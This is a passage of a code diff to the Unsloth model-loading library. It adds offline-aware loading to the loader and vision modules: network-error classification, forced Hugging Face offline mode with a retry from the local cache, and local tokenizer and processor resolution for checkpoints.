+                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
+                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
+                    f"to obtain the latest transformers build, then restart this session."
+                )
+            # Create a combined error message showing both failures
+            combined_error = (
+                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
+                f"AutoConfig error: {autoconfig_error}\n\n"
+                f"PeftConfig error: {peft_error}\n\n"
+            )
+            # Chain an offline-related cause if either probe had one, so @_offline_aware_load
+            # still retries from cache (e.g. adapter repo: permanent AutoConfig 404 + transient PeftConfig).
+            _cause = next(
+                (
+                    e
+                    for e in (autoconfig_exc, peft_exc)
+                    if e is not None and _is_offline_related_error(e)
+                ),
+                autoconfig_exc or peft_exc,
+            )
+            raise RuntimeError(combined_error) from _cause
+
         model_types = get_transformers_model_type(
             peft_config if peft_config is not None else model_config,
             trust_remote_code = trust_remote_code,
@@ -582,24 +609,6 @@ class FastLanguageModel(FastLlamaModel):
                 # definitely exist -- no need for an extra HfFileSystem network call.
                 both_exist = True
 
-        if not is_model and not is_peft:
-            error = autoconfig_error if autoconfig_error is not None else peft_error
-            # Old transformers version
-            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
-                raise ImportError(
-                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
-                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
-                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
-                    f"to obtain the latest transformers build, then restart this session."
-                )
-            # Create a combined error message showing both failures
-            combined_error = (
-                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
-                f"AutoConfig error: {autoconfig_error}\n\n"
-                f"PeftConfig error: {peft_error}\n\n"
-            )
-            raise RuntimeError(combined_error)
-
         # Get base model for PEFT:
         if is_peft:
             # Check base model again for PEFT
@@ -755,15 +764,8 @@ class FastLanguageModel(FastLlamaModel):
             use_gradient_checkpointing, max_seq_length, dtype
         )
 
-        # Check if this is local model since the tokenizer gets overwritten
-        if (
-            os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
-            and os.path.exists(os.path.join(old_model_name, "tokenizer.json"))
-            and os.path.exists(os.path.join(old_model_name, "special_tokens_map.json"))
-        ):
-            tokenizer_name = old_model_name
-        else:
-            tokenizer_name = kwargs.pop("tokenizer_name", None)
+        # Keep the local checkpoint dir as tokenizer when self-sufficient (see _resolve_checkpoint_tokenizer_name).
+        tokenizer_name = _resolve_checkpoint_tokenizer_name(old_model_name, kwargs)
 
         if fast_inference:
             fast_inference, model_name = fast_inference_setup(model_name, model_config)
@@ -867,6 +869,7 @@ class FastLanguageModel(FastLlamaModel):
                 old_model_name,
                 token = token,
                 revision = revision,
+                local_files_only = local_files_only,
                 is_trainable = True,
                 trust_remote_code = trust_remote_code,
             )
@@ -928,6 +931,7 @@ class FastModel(FastBaseModel):
         return FastBaseModel.for_training(model, use_gradient_checkpointing)
 
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
         model_name = "unsloth/Llama-3.2-11B-Vision-Instruct-bnb-4bit",
         max_seq_length = 2048,
@@ -1134,18 +1138,12 @@ class FastModel(FastBaseModel):
 
         autoconfig_error = None
         peft_error = None
+        autoconfig_exc = None
+        peft_exc = None
         model_config = None
         peft_config = None
+        # @_offline_aware_load already forced offline when needed; nested calls inherit it.
         local_files_only = kwargs.get("local_files_only", False)
-        # Mirror env-var fallback for direct callers (FastVisionModel / FastTextModel).
-        if not local_files_only:
-            _offline = {"1", "true", "yes", "on"}
-            if (
-                os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
-                or os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
-            ):
-                local_files_only = True
-                kwargs["local_files_only"] = True
 
         # Text-diffusion slow-path dispatch, factored so both the normal route (below) and the
         # legacy-config fallback (in the AutoConfig except handler) share one call site.
@@ -1180,6 +1178,7 @@ class FastModel(FastBaseModel):
             raise
         except Exception as error:
             autoconfig_error = str(error)
+            autoconfig_exc = error
             # Legacy text-diffusion configs use model_type "diffusion_gemma", which current
             # transformers does not register by name (it ships "diffusion_gemma4"). AutoConfig
             # raises before we can dispatch; route straight to the diffusion slow path, whose
@@ -1212,6 +1211,7 @@ class FastModel(FastBaseModel):
             raise
         except Exception as error:
             peft_error = str(error)
+            peft_exc = error
             if "architecture" in peft_error:
                 raise ValueError(
                     f"`{model_name}` is not supported yet in `transformers=={transformers_version}`.\n"
@@ -1228,6 +1228,34 @@ class FastModel(FastBaseModel):
                 "We must only allow one config file.\n"
                 "Please separate the LoRA and base models to 2 repos."
             )
+        if not is_model and not is_peft:
+            error = autoconfig_error if autoconfig_error is not None else peft_error
+            # Old transformers version
+            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
+                raise ImportError(
+                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
+                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
+                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
+                    f"to obtain the latest transformers build, then restart this session."
+                )
+            # Create a combined error message showing both failures
+            combined_error = (
+                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
+                f"AutoConfig error: {autoconfig_error}\n\n"
+                f"PeftConfig error: {peft_error}\n\n"
+            )
+            # Chain an offline-related cause if either probe had one, so @_offline_aware_load
+            # still retries from cache (e.g. adapter repo: permanent AutoConfig 404 + transient PeftConfig).
+            _cause = next(
+                (
+                    e
+                    for e in (autoconfig_exc, peft_exc)
+                    if e is not None and _is_offline_related_error(e)
+                ),
+                autoconfig_exc or peft_exc,
+            )
+            raise RuntimeError(combined_error) from _cause
+
         model_types = get_transformers_model_type(
             peft_config if peft_config is not None else model_config,
             trust_remote_code = trust_remote_code,
@@ -1432,24 +1460,6 @@ class FastModel(FastBaseModel):
                 # definitely exist -- no need for an extra HfFileSystem network call.
                 both_exist = True
 
-        if not is_model and not is_peft:
-            error = autoconfig_error if autoconfig_error is not None else peft_error
-            # Old transformers version
-            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
-                raise ImportError(
-                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
-                    f"This includes Llama 3.1. The minimum required version is 4.43.2\n"
-                    f'Try `pip install --upgrade "transformers>=4.43.2"`\n'
-                    f"to obtain the latest transformers build, then restart this session."
-                )
-            # Create a combined error message showing both failures
-            combined_error = (
-                "Unsloth: Failed to load model. Both AutoConfig and PeftConfig loading failed.\n\n"
-                f"AutoConfig error: {autoconfig_error}\n\n"
-                f"PeftConfig error: {peft_error}\n\n"
-            )
-            raise RuntimeError(combined_error)
-
         # Get base model for PEFT:
         if is_peft:
             # Check base model again for PEFT
@@ -1547,15 +1557,16 @@ class FastModel(FastBaseModel):
             if model_type in model_types_all:
                 supports_sdpa = False
 
-        # Check if this is local model since the tokenizer gets overwritten
-        if (
-            os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
-            and os.path.exists(os.path.join(old_model_name, "tokenizer.json"))
-            and os.path.exists(os.path.join(old_model_name, "special_tokens_map.json"))
-        ):
-            tokenizer_name = old_model_name
-        else:
-            tokenizer_name = kwargs.pop("tokenizer_name", None)
+        # Keep the local checkpoint dir as tokenizer when self-sufficient (see
+        # _resolve_checkpoint_tokenizer_name). A VLM also needs local processor files, else
+        # we fall back to the base repo so its cached processor loads.
+        _ckpt_arch = getattr(model_config, "architectures", None) or []
+        _ckpt_is_vlm = any(x.endswith("ForConditionalGeneration") for x in _ckpt_arch) or hasattr(
+            model_config, "vision_config"
+        )
+        tokenizer_name = _resolve_checkpoint_tokenizer_name(
+            old_model_name, kwargs, require_processor = _ckpt_is_vlm
+        )
 
         # Capture task intent before text_only can replace a parent VLM config
         # with its nested text config.
@@ -1783,6 +1794,7 @@ class FastModel(FastBaseModel):
                     old_model_name,
                     token = token,
                     revision = revision,
+                    local_files_only = local_files_only,
                     is_trainable = True,
                     trust_remote_code = trust_remote_code,
                 )
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index 9b9ba5220d..7000c1587d 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -18,6 +18,9 @@ import os
 import torch
 import re
 import tempfile
+import contextlib
+import threading as _threading
+import functools
 from typing import Union
 from .mapper import (
     INT_TO_FLOAT_MAPPER,
@@ -237,7 +240,12 @@ def get_model_name(
     ):
         new_model_name = BAD_MAPPINGS[new_model_name.lower()]
 
-    if new_model_name is None and model_name.count("/") == 1 and model_name[0].isalnum():
+    if (
+        new_model_name is None
+        and model_name.count("/") == 1
+        and model_name[0].isalnum()
+        and not _env_says_offline()  # offline: skip the remote (raw GitHub) mapper refresh
+    ):
         # Try checking if a new Unsloth version allows it!
         NEW_INT_TO_FLOAT_MAPPER, NEW_FLOAT_TO_INT_MAPPER, NEW_MAP_TO_UNSLOTH_16bit = (
             _get_new_mapper()
@@ -489,3 +497,330 @@ def _get_fp8_mode_and_check_settings(
                 f"Using Triton kernels instead."
             )
     return fp8_mode
+
+
+# =============================================================================
+# Offline loading - single source of truth (shared by vision.py, loader.py and
+# the Studio exporter). Decide offline ONCE at the load boundary and force it
+# ONCE around the whole load, so every nested HF call inherits it.
+# =============================================================================
+
+_OFFLINE_ENV_VALUES = {"1", "true", "yes", "on"}
+_OFFLINE_ENV_KEYS = ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+
+
+def _env_says_offline():
+    """True if an HF offline env var is set to a truthy value."""
+    return any(
+        os.environ.get(_k, "").strip().lower() in _OFFLINE_ENV_VALUES for _k in _OFFLINE_ENV_KEYS
+    )
+
+
+def _get_effective_local_files_only(kwargs):
+    """Offline if local_files_only is truthy or an HF offline env var is set. Read-only."""
+    if kwargs.get("local_files_only", None):
+        return True
+    return _env_says_offline()
+
+
+def _is_offline_related_error(exc):
+    """True if exc (or its cause/context chain) is a lost-connection error, not a
+    missing file. Plain FileNotFoundError propagates; LocalEntryNotFoundError is offline."""
+    import socket
+    import ssl
+    import urllib.error
+
+    # Match network failures by type (locale independent), not just message wording.
+    _net_types = [ConnectionError, TimeoutError, socket.gaierror, urllib.error.URLError]
+    _offline_fnf_types = ()  # FileNotFoundError subclasses that count as offline
+    # urllib HTTPError is a URLError subclass: judge by status (5xx offline, 4xx propagates).
+    _http_types = (urllib.error.HTTPError,)
+    # TLS/cert failures are security-sensitive (MITM, expired CA): never offline-retry them.
+    _ssl_types = [ssl.SSLError]
+    try:
+        import requests
+
+        _net_types += [requests.exceptions.ConnectionError, requests.exceptions.Timeout]
+        _http_types += (requests.exceptions.HTTPError,)
+        _ssl_types.append(requests.exceptions.SSLError)
+    except Exception:
+        pass
+    try:
+        from huggingface_hub.errors import (
+            OfflineModeIsEnabled,
+            HfHubHTTPError,
+            LocalEntryNotFoundError,
+        )
+
+        _net_types += [OfflineModeIsEnabled, LocalEntryNotFoundError]
+        _offline_fnf_types = (LocalEntryNotFoundError,)
+        _http_types += (HfHubHTTPError,)
+    except Exception:
+        pass
+    _net_types = tuple(_net_types)
+    _ssl_types = tuple(_ssl_types)
+
+    def _http_status(e):
+        resp = getattr(e, "response", None)
+        code = getattr(resp, "status_code", None)
+        if code is None:
+            code = getattr(e, "status_code", None)
+        if code is None:
+            code = getattr(e, "code", None)  # urllib.error.HTTPError uses .code
+        try:
+            return int(code)
+        except (TypeError, ValueError):
+            return None
+
+    _wording = (
+        "couldn't connect",
+        "could not connect",
+        "connection error",
+        "connectionerror",
+        "max retries",
+        "offline",
+        "timed out",
+        "timeout",
+        "couldn't reach",
+        "could not reach",
+        "failed to resolve",
+        "getaddrinfo",
+        "name resolution",
+        "no address associated",
+        "network is unreachable",
+        "connection refused",
+        "we couldn't connect to",
+        "proxyerror",
+        # Raw socket.gaierror DNS wording (Linux / macOS)
+        "name or service not known",
+        "temporary failure in name resolution",
+        "nodename nor servname provided",
+    )
+    seen = set()
+    cur = exc
+    while cur is not None and id(cur) not in seen:
+        seen.add(id(cur))
+        # TLS/cert failure (corporate MITM, expired CA): security-sensitive, never retry from
+        # cache. Skip this node; a deeper cause in the chain may still be a genuine outage.
+        if isinstance(cur, _ssl_types) or isinstance(getattr(cur, "reason", None), _ssl_types):
+            cur = cur.__cause__ or cur.__context__
+            continue
+        is_fnf = isinstance(cur, FileNotFoundError) and not isinstance(cur, _offline_fnf_types)
+        # urllib HTTPError is a URLError (net type) but must be judged by status code below,
+        # unlike LocalEntryNotFoundError (an HfHubHTTPError that is always offline).
+        if (
+            isinstance(cur, _net_types)
+            and not is_fnf
+            and not isinstance(cur, urllib.error.HTTPError)
+        ):
+            return True
+        if isinstance(cur, _http_types):
+            code = _http_status(cur)
+            if code is not None and 500 <= code < 600:
+                return True
+            # No status -> wording fallback (coded 4xx already decided above).
+            if code is None and not is_fnf and any(w in str(cur).lower() for w in _wording):
+                return True
+        # OSError wording fallback (HTTP status already decided above).
+        elif isinstance(cur, OSError) and not is_fnf:
+            if any(w in str(cur).lower() for w in _wording):
+                return True
+        cur = cur.__cause__ or cur.__context__
+    return False
+
+
+# Process-wide HF offline state; the depth counter lets nested windows share one
+# flip (first entrant saves originals, last exit restores). Lock guards flip/restore.
+_force_offline_lock = _threading.RLock()
+_force_offline_depth = 0
+_force_offline_saved = []  # in-process module attributes
+_force_offline_saved_env = {}  # HF offline env-var originals
+
+
+def _reset_hf_sessions():
+    """Clear hub's per-thread cached Sessions so the next rebuilds against the current
+    offline flag. On hub 0.x the offline adapter is baked in at Session creation. Best-effort."""
+    try:
+        from huggingface_hub.utils._http import reset_sessions
+    except Exception:
+        try:
+            from huggingface_hub.utils import reset_sessions
+        except Exception:
+            return
+    try:
+        reset_sessions()
+    except Exception:
+        pass
+
+
+@contextlib.contextmanager
+def _force_hf_offline():
+    """Force HF offline for the window. local_files_only alone is not enough
+    (transformers < 5 still pings /api/models), so set BOTH the env vars (cover
+    subprocesses + raw urllib/requests) AND the in-process hub/transformers constants.
+    Process-global; the refcount keeps restore correct under nesting / overlap."""
+    global _force_offline_depth, _force_offline_saved, _force_offline_saved_env
+    with _force_offline_lock:
+        if _force_offline_depth == 0:
+            saved = []
+            saved_env = {}
+            # Snapshot in-process constants BEFORE forcing the env: a module first imported
+            # here would otherwise initialize its constant from the just-set "1" and we would
+            # save (then restore) True, pinning the process offline after the window.
+            try:
+                import huggingface_hub.constants as _hfc
+                if hasattr(_hfc, "HF_HUB_OFFLINE"):
+                    saved.append((_hfc, "HF_HUB_OFFLINE", _hfc.HF_HUB_OFFLINE))
+            except Exception:
+                pass
+            try:
+                import transformers.utils.hub as _tuh
+                for _attr in ("_is_offline_mode", "OFFLINE"):
+                    if hasattr(_tuh, _attr):
+                        saved.append((_tuh, _attr, getattr(_tuh, _attr)))
+            except Exception:
+                pass
+            # Now force the env vars and flip the snapshotted constants to offline.
+            for _k in _OFFLINE_ENV_KEYS:
+                saved_env[_k] = os.environ.get(_k)
+                os.environ[_k] = "1"
+            for _obj, _attr, _ in saved:
+                try:
+                    setattr(_obj, _attr, True)
+                except Exception:
+                    pass
+            _force_offline_saved = saved
+            _force_offline_saved_env = saved_env
+            # Rebuild cached sessions so they pick up the offline adapter.
+            _reset_hf_sessions()
+        _force_offline_depth += 1
+    try:
+        yield
+    finally:
+        with _force_offline_lock:
+            _force_offline_depth -= 1
+            if _force_offline_depth == 0:
+                for obj, attr, val in _force_offline_saved:
+                    try:
+                        setattr(obj, attr, val)
+                    except Exception:
+                        pass
+                _force_offline_saved = []
+                for _k, _v in _force_offline_saved_env.items():
+                    if _v is None:
+                        os.environ.pop(_k, None)
+                    else:
+                        os.environ[_k] = _v
+                _force_offline_saved_env = {}
+                # Drop offline-mounted sessions so later online calls rebuild for the network.
+                _reset_hf_sessions()
+
+
+def _progress_bars_were_disabled():
+    """Snapshot HF progress-bar state (None if unknown); pairs with _restore_progress_bars."""
+    try:
+        from huggingface_hub.utils import are_progress_bars_disabled
+        return are_progress_bars_disabled()
+    except Exception:
+        return None
+
+
+def _restore_progress_bars(were_disabled):
+    """Re-enable HF progress bars only if a failed attempt left them disabled after they
+    were enabled (a loader disables them around config probes and skips re-enabling on
+    error). No-op if the user had them disabled or the state is unknown."""
+    if were_disabled is False:
+        try:
+            from huggingface_hub.utils import enable_progress_bars
+            enable_progress_bars()
+        except Exception:
+            pass
+
+
+def _offline_aware_load(fn):
+    """Decide offline ONCE (local_files_only kwarg or env) and force it around the
+    whole load. If we started online and hit a network error, retry once forced-offline.
+    Network-up online path is unchanged: no window, no retry."""
+
+    @functools.wraps(fn)
+    def _wrapper(*args, **kwargs):
+        if _get_effective_local_files_only(kwargs):
+            kwargs["local_files_only"] = True
+            with _force_hf_offline():
+                return fn(*args, **kwargs)
+        _pb_were_disabled = _progress_bars_were_disabled()  # restore before any retry
+        try:
+            return fn(*args, **kwargs)
+        except Exception as e:
+            # Skip if not network-related, or already retried by a nested decorator
+            # (else outer layers reload the whole model again).
+            if not _is_offline_related_error(e) or getattr(e, "_unsloth_offline_retried", False):
+                raise
+        # Retry OUTSIDE the except so the failed attempt's traceback (a partial model)
+        # is freed before reallocating, else a large VLM can OOM on the second load.
+        try:
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                torch.xpu.empty_cache()
+        except Exception:
+            pass
+        # A failed attempt may have left HF progress bars disabled; restore before retry.
+        _restore_progress_bars(_pb_were_disabled)
+        kwargs["local_files_only"] = True
+        try:
+            with _force_hf_offline():
+                return fn(*args, **kwargs)
+        except Exception as e:
+            # Tag so an enclosing _offline_aware_load skips its own redundant retry.
+            try:
+                e._unsloth_offline_retried = True
+            except Exception:
+                pass
+            raise
+
+    return _wrapper
+
+
+def _has_local_tokenizer_files(path):
+    """True if a local dir has a loadable tokenizer (BPE vocab.json needs merges.txt;
+    special_tokens_map.json is not required)."""
+    return (
+        os.path.exists(os.path.join(path, "tokenizer.json"))
+        or os.path.exists(os.path.join(path, "tokenizer.model"))
+        or (
+            os.path.exists(os.path.join(path, "vocab.json"))
+            and os.path.exists(os.path.join(path, "merges.txt"))
+        )
+        or os.path.exists(os.path.join(path, "vocab.txt"))
+        or os.path.exists(os.path.join(path, "spiece.model"))
+    )
+
+
+def _has_local_processor_files(path):
+    """True if a local dir ships a processor/image-processor config (a VLM needs this to
+    build AutoProcessor; tokenizer files alone are not enough)."""
+    return os.path.exists(os.path.join(path, "processor_config.json")) or os.path.exists(
+        os.path.join(path, "preprocessor_config.json")
+    )
+
+
+def _resolve_checkpoint_tokenizer_name(
+    old_model_name,
+    kwargs,
+    require_processor = False,
+):
+    """tokenizer_name for a PEFT/checkpoint load: caller override, else the local checkpoint
+    dir if self-sufficient, else None (base repo). Always popped from kwargs (also passed
+    explicitly downstream). For a VLM (require_processor), the dir must also ship processor
+    files; otherwise fall back to the base repo whose cached processor still loads."""
+    explicit = kwargs.pop("tokenizer_name", None)
+    if explicit is not None:
+        return explicit
+    has_config = os.path.exists(os.path.join(old_model_name, "tokenizer_config.json"))
+    if not (has_config and _has_local_tokenizer_files(old_model_name)):
+        return None
+    if require_processor and not _has_local_processor_files(old_model_name):
+        return None
+    return old_model_name
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 0bd70c6d41..c72c1af4b1 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -449,6 +449,14 @@ def unsloth_base_fast_generate(self, *args, **kwargs):
     return output
 
 
+# Offline helpers live in loader_utils.py (shared canonical source).
+from .loader_utils import (
+    _get_effective_local_files_only,
+    _is_offline_related_error,
+    _offline_aware_load,
+)
+
+
 def _missing_torchvision_error(error = None):
     """True if a VLM processor failed to load due to missing torchvision (#4202).
 
@@ -466,13 +474,18 @@ def _missing_torchvision_error(error = None):
     return False
 
 
-def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_remote_code):
-    """Construct a VLM processor manually when AutoProcessor.from_pretrained fails.
-
-    Some VLMs (e.g., LFM2.5-VL) have tokenizer_class entries that AutoTokenizer
-    cannot resolve. This function loads the image processor and tokenizer separately,
-    sets required special token attributes, and constructs the processor.
-    """
+def _construct_vlm_processor_fallback(
+    tokenizer_name,
+    model_type,
+    token,
+    trust_remote_code,
+    local_files_only = False,
+):
+    """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs
+    have unresolvable tokenizer_class entries): load the image processor + tokenizer
+    separately and combine. Returns (processor_or_None, error_or_None) so the caller can
+    tell an offline failure (retry from cache) from a genuine one."""
+    _fb_err = None
     try:
         from transformers import AutoImageProcessor, PreTrainedTokenizerFast, AutoConfig
         from transformers.models.auto.processing_auto import PROCESSOR_MAPPING_NAMES
@@ -483,6 +496,7 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
             tokenizer_name,
             token = token,
             trust_remote_code = trust_remote_code,
+            local_files_only = local_files_only,
         )
         # Load tokenizer via PreTrainedTokenizerFast (bypasses tokenizer_class check)
         tok = PreTrainedTokenizerFast.from_pretrained(
@@ -490,14 +504,35 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
             padding_side = "left",
             token = token,
             trust_remote_code = trust_remote_code,
+            local_files_only = local_files_only,
         )
-        # Read tokenizer_config.json for model-specific special tokens
+        # Read tokenizer_config.json for special tokens: prefer the local file (offline
+        # / local checkpoint dir), else hf_hub_download with local_files_only forwarded.
         try:
-            from huggingface_hub import hf_hub_download
+            import json as _json
 
-            config_path = hf_hub_download(tokenizer_name, "tokenizer_config.json", token = token)
-            with open(config_path, "r", encoding = "utf-8") as f:
-                tok_config = json.load(f)
+            tok_config = None
+            _local_cfg = os.path.join(tokenizer_name, "tokenizer_config.json")
+            if os.path.isdir(tokenizer_name):
+                # Local dir: read directly. A missing file raises a clear FileNotFoundError
+                # rather than letting hf_hub_download treat the path as a repo id.
+                if os.path.exists(_local_cfg):
+                    with open(_local_cfg, "r", encoding = "utf-8") as f:
+                        tok_config = _json.load(f)
+                else:
+                    raise FileNotFoundError(
+                        f"tokenizer_config.json not found in local directory: {tokenizer_name}"
+                    )
+            else:
+                from huggingface_hub import hf_hub_download
+                config_path = hf_hub_download(
+                    tokenizer_name,
+                    "tokenizer_config.json",
+                    token = token,
+                    local_files_only = local_files_only,
+                )
+                with open(config_path, "r", encoding = "utf-8") as f:
+                    tok_config = _json.load(f)
             # Set model-specific special tokens and their IDs
             for key in (
                 "image_token",
@@ -512,8 +547,8 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     token_id = tok.convert_tokens_to_ids(tok_config[key])
                     if not hasattr(tok, id_key):
                         setattr(tok, id_key, token_id)
-        except Exception:
-            pass
+        except Exception as _e:
+            _fb_err = _e  # remember (non-fatal here); surfaced only if no processor is built
 
         # Find the processor class - try model_type first, then top-level config model_type
         proc_class_name = PROCESSOR_MAPPING_NAMES.get(model_type)
@@ -525,10 +560,11 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     tokenizer_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    local_files_only = local_files_only,
                 )
                 proc_class_name = PROCESSOR_MAPPING_NAMES.get(config.model_type)
-            except Exception:
-                pass
+            except Exception as _e:
+                _fb_err = _e  # surface a network/cache miss so the offline retry can fire
 
         if proc_class_name is not None:
             import transformers
@@ -540,10 +576,10 @@ def _construct_vlm_processor_fallback(tokenizer_name, model_type, token, trust_r
                     tok, "chat_template", None
                 ):
                     processor.chat_template = tok.chat_template
-                return processor
-    except Exception:
-        pass
-    return None
+                return processor, None
+    except Exception as _e:
+        _fb_err = _e
+    return None, _fb_err
 
 
 def _get_total_transformer_layers(model):
@@ -577,6 +613,7 @@ def _get_total_transformer_layers(model):
 
 class FastBaseModel:
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
         model_name = "unsloth/Llama-3.2-1B-Instruct",
         max_seq_length = 2048,
@@ -614,6 +651,10 @@ class FastBaseModel:
         if auto_config is None and user_config is not None:
             auto_config = user_config
 
+        # Offline snapshot for the loads below; not popped, so the weight load still
+        # reads local_files_only from **kwargs. See _get_effective_local_files_only.
+        local_files_only = _get_effective_local_files_only(kwargs)
+
         if unsloth_vllm_standby and os.environ.get("UNSLOTH_VLLM_STANDBY", "0") != "1":
             raise RuntimeError(
                 "Unsloth: UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1!"
@@ -633,6 +674,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         if text_only and hasattr(auto_config, "vision_config"):
             parent_config = auto_config
@@ -811,6 +853,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         model_class = resolve_model_class(auto_model, auto_config)
         attn_impl = resolve_attention_implementation(
@@ -918,6 +961,7 @@ class FastBaseModel:
                     model_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    local_files_only = local_files_only,
                 )
             if hasattr(auto_config, "quantization_config"):
                 from transformers.quantizers.auto import (
@@ -971,6 +1015,7 @@ class FastBaseModel:
                 model_name,
                 token = token,
                 trust_remote_code = trust_remote_code,
+                local_files_only = local_files_only,
             )
         _set_attn_impl(auto_config, config_attn_impl)
         model_config = auto_config
@@ -978,151 +1023,152 @@ class FastBaseModel:
         verify_fp8_support_if_applicable(model_config)
 
         raise_handler = RaiseUninitialized()
-        if not fast_inference:
-            # Prevent load_in_fp8 from being forwarded into HF internal model loading
-            load_in_fp8 = kwargs.pop("load_in_fp8", None)
-            # Transformers 5.x @strict config classes reject unexpected kwargs.
-            # Move config-level attributes onto the config object directly.
-            _num_labels = kwargs.pop("num_labels", None)
-            if _num_labels is not None:
-                set_task_config_attr(model_config, "num_labels", _num_labels)
-            for _cfg_key in ("id2label", "label2id", "problem_type"):
-                _cfg_val = kwargs.pop(_cfg_key, None)
+        try:
+            if not fast_inference:
+                # Prevent load_in_fp8 from being forwarded into HF internal model loading
+                load_in_fp8 = kwargs.pop("load_in_fp8", None)
+                # Transformers 5.x @strict config classes reject unexpected kwargs.
+                # Move config-level attributes onto the config object directly.
+                _num_labels = kwargs.pop("num_labels", None)
+                if _num_labels is not None:
+                    set_task_config_attr(model_config, "num_labels", _num_labels)
+                for _cfg_key in ("id2label", "label2id", "problem_type"):
+                    _cfg_val = kwargs.pop(_cfg_key, None)
+                    if _cfg_val is not None:
+                        set_task_config_attr(model_config, _cfg_key, _cfg_val)
+                _cfg_val = kwargs.pop("max_position_embeddings", None)
                 if _cfg_val is not None:
-                    set_task_config_attr(model_config, _cfg_key, _cfg_val)
-            _cfg_val = kwargs.pop("max_position_embeddings", None)
-            if _cfg_val is not None:
-                setattr(model_config, "max_position_embeddings", _cfg_val)
-            model = auto_model.from_pretrained(
-                model_name,
-                config = model_config,
-                device_map = device_map,
-                # torch_dtype           = torch_dtype, # Transformers removed torch_dtype
-                # quantization_config   = bnb_config,
-                token = token,
-                trust_remote_code = trust_remote_code,
-                # attn_implementation   = attn_implementation,
-                **kwargs,
-            )
-            # Attach dispatch hooks for bnb multi-device loads.
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = load_in_8bit,
-                offload_embedding = offload_embedding,
-                fast_inference = fast_inference,
-            )
-            if hasattr(model, "generate"):
-                model.fast_generate = make_fast_generate_wrapper(model.generate)
-                model.fast_generate_batches = error_out_no_vllm
-            if offload_embedding:
-                if bool(os.environ.get("WSL_DISTRO_NAME") or os.environ.get("WSL_INTEROP")):
-                    # WSL doesn't work with offloaded embeddings
-                    pass
-                elif os.name == "nt":
-                    # Windows doesn't work with offloaded embeddings
-                    pass
-                else:
-                    embed_tokens = model.get_input_embeddings()
-                    nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize
-                    ngb = round(nbytes / 1024 / 1024 / 1024, 2)
-                    print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.")
-                    embed_tokens.to("cpu")
+                    setattr(model_config, "max_position_embeddings", _cfg_val)
+                model = auto_model.from_pretrained(
+                    model_name,
+                    config = model_config,
+                    device_map = device_map,
+                    # torch_dtype           = torch_dtype, # Transformers removed torch_dtype
+                    # quantization_config   = bnb_config,
+                    token = token,
+                    trust_remote_code = trust_remote_code,
+                    # attn_implementation   = attn_implementation,
+                    **kwargs,
+                )
+                # Attach dispatch hooks for bnb multi-device loads.
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = load_in_8bit,
+                    offload_embedding = offload_embedding,
+                    fast_inference = fast_inference,
+                )
+                if hasattr(model, "generate"):
+                    model.fast_generate = make_fast_generate_wrapper(model.generate)
+                    model.fast_generate_batches = error_out_no_vllm
+                if offload_embedding:
+                    if bool(os.environ.get("WSL_DISTRO_NAME") or os.environ.get("WSL_INTEROP")):
+                        # WSL doesn't work with offloaded embeddings
+                        pass
+                    elif os.name == "nt":
+                        # Windows doesn't work with offloaded embeddings
+                        pass
+                    else:
+                        embed_tokens = model.get_input_embeddings()
+                        nbytes = embed_tokens.weight.numel() * embed_tokens.weight.itemsize
+                        ngb = round(nbytes / 1024 / 1024 / 1024, 2)
+                        print(f"Unsloth: Offloading embeddings to RAM to save {ngb} GB.")
+                        embed_tokens.to("cpu")
 
-                    # Add hooks to move inputs to CPU and back to CUDA
-                    # [TODO] Doesn't seem to work!
-                    # def pre_hook(module, args):
-                    #     args[0]._old_device = args[0].device
-                    #     return (args[0].to("cpu", non_blocking = True))
-                    # def post_hook(module, args, output):
